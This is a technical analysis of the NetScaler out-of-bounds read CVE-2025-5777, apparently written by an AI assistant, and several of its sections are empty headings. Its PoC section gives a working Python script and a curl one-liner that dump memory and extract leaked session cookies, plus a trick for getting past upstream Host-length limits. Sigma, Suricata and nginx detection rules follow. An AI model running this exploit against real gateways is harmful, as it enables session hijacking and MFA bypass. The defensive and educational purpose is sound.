CitrixBleed 2 (CVE-2025-5777) Ultimate Analysis

An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — A Comprehensive Guide from Root Cause to Offensive and Defensive Exercises

poc usage: python3 poc.py https://gateway.example.com

exp usage: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Table of Contents

0x00  Introduction / Overview
0x01  Background: NetScaler Architecture and CitrixBleed 1 Review
0x02  Vulnerability Description (Affected Versions, CVSS, Exploitation Consequences)
0x03  Trigger Mechanism Deep Dive (Source-level Analysis & Debug Screenshots)
0x04  Minimal PoC + Advanced Scanning Script
0x05  Red Team Perspective: Full Attack Chain (Discovery → Leak → Session Hijack → Lateral Movement)
0x06  Blue Team Perspective: Detection, Forensics, and Patch Verification
0x07  Defense Hardening: Patches, WAF, Configuration, Asset Governance
0x08  Learning / Review Roadmap and Hands-on Lab
Appendix A  Sigma / Suricata / Nginx-Lua Rules
Appendix B  Patch/Exploit Timeline & IoC Snapshot
References

0x00 Introduction / Overview

• CVE-2025-5777 (also known as CitrixBleed 2) is an Out-of-Bounds Memory Read in Citrix NetScaler ADC / Gateway.
• Attackers do not require authentication; sending a single GET request with an overly long Host header can cause the device to "spray" random memory blocks along with the HTTP response to the client.
• The leaked data often contains critical materials such as NSC_USER / NSC_TASS cookies, SAML StateContext, MFA tokens, which can be directly reused to achieve session takeover and MFA bypass (arcticwolf.com, tenable.com).
• CVSS v4 base score 9.3 (Critical) (netscaler.com).
• Disclosed on 2025-06-17; on 2025-06-23 Citrix expanded the scope of impact and released patches; within a week security vendors such as ReliaQuest, Bishop Fox observed a surge in in-the-wild exploitation (reliaquest.com, bishopfox.com).

0x01 Background

1.1 NetScaler Workflow Overview

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway Authentication
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ Forward to Application
│ CVPN / RDP   │
└──────────────┘

NetScaler adopts a multi-process + internal IPC design. WebProc handles most HTTP requests under the AAA / Gateway path, including /nf/auth/*, /oauth/*, etc. It heavily uses snprintf() / memcpy() in C language, assembling XML/HTML fragments each time.

1.2 CitrixBleed 1 (CVE-2023-4966) Review

• In 2023, a similar vulnerability occurred in the OAuth discovery endpoint /oauth/idp/.well-known/openid-configuration.
• The essence is the same: using the return value of snprintf as the len parameter for subsequent send() → out-of-bounds memory echo.
• CitrixBleed 2 proves that the same type of secure coding defect still lurks in other paths.

Lesson Learned: If security patches only target the "falling point" rather than the "programming paradigm", they leave room for "templated reproduction".

0x02 Vulnerability Description

0x03 Trigger Mechanism Deep Dive

This section is based on decompilation of firmware 13.1-55.18 + gdb debugging, compiled with public blog posts (bishopfox.com).

3.1 Vulnerability Entry Point

• URI: /nf/auth/startwebview.do
• Controllable Parameter: HTTP Host header
• This endpoint is used to generate the redirect XML for Citrix Workspace WebView. Example normal response:

<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Key Function Chain

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length can be > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Bug Point: snprintf returns the "length that should have been written" instead of the actual written length; if the user-supplied Host > 0x1800 - constant segment length, then length > sizeof(buf).

3.3 Runtime Illustration

buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                Sent together by ns_vpn_send_response

GDB breakpoint demonstration (key registers):

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

read() result shows that the last 1600 bytes come from uninitialized memory, where cookie buffers of other SSL sessions are visible.

3.4 Categories of Leaked Data

0x04 PoC Implementation

4.1 Single-file Python (15 lines)

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")

• If the response returns 200 + several KB, the device is considered vulnerable.
• Further grep leak.bin for keywords such as Cookie=, <AuthenticateContext>.

4.2 Bash / curl One-liner

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Bypass: Some devices have Host length restrictions on upstream F5/Nginx; you can bypass by concatenating multiple subdomains, e.g., foo.foo.foo.…foo.example.com (repeat foo 3000 times).

0x05 Red Team Perspective: Full Attack Chain

Real case: ReliaQuest observed on a customer gateway "a large volume of 6 KB+ Host header requests in a short period → followed by session theft" (reliaquest.com).

0x06 Blue Team Perspective: Detection, Forensics, and Patch Verification

6.1 Logs and IoCs

6.2 Sigma Rule (Brief Version)

title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 Patch Verification Script

nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 Kill Sessions

# Clear all active VPN/ICA connections
kill icaconnection -all
kill vpn -all

Note: After patching, forced logout is still required to prevent attackers from continuing to use stolen cookies.

0x07 Defense Hardening

1. Official Patch: Upgrade to ≥ 14.1-43.56 / 13.1-58.32, or apply the corresponding version for FIPS/NDcPP models (netscaler.com).
2. Host Header Length Limitation (temporary measure)

map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}

3. WAF Adaptive Rules: Enable rate limiting (e.g., 20 req/m) for paths /nf/auth/ & /oauth/.
4. Asset Inventory: EOL versions 12.1/13.0 will never receive official patches; plan for replacement or strong isolation (support.citrix.com).
5. MFA Security: Session leakage bypasses MFA → It is recommended to enable "per-request signing" or "dynamic binding hardware fingerprint", rather than only verifying at initial login.

0x08 Learning / Review Roadmap

Appendix A — Detection / Defense Snippets

title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical

alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)

-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

Appendix B — Timeline

References

1. Citrix Official Security Advisory and Patch Notes (netscaler.com)
2. Arctic Wolf "CVE-2025-5777 Technical Brief" (arcticwolf.com)
3. Bishop Fox "OOB Memory Read in NetScaler" (bishopfox.com)
4. ReliaQuest "Threat Spotlight: CitrixBleed 2" (reliaquest.com)
5. Tenable FAQ on CVE-2025-5777 (tenable.com)
6. BleepingComputer Security News (bleepingcomputer.com)
7. NVD CVE-2025-5777 Entry (nvd.nist.gov)
8. Citrix Support KB CTX693420 (support.citrix.com)

End — Hope this document helps you fully understand and respond to CitrixBleed 2. If you need further examples, scripts, or exercise guidance, feel free to ask!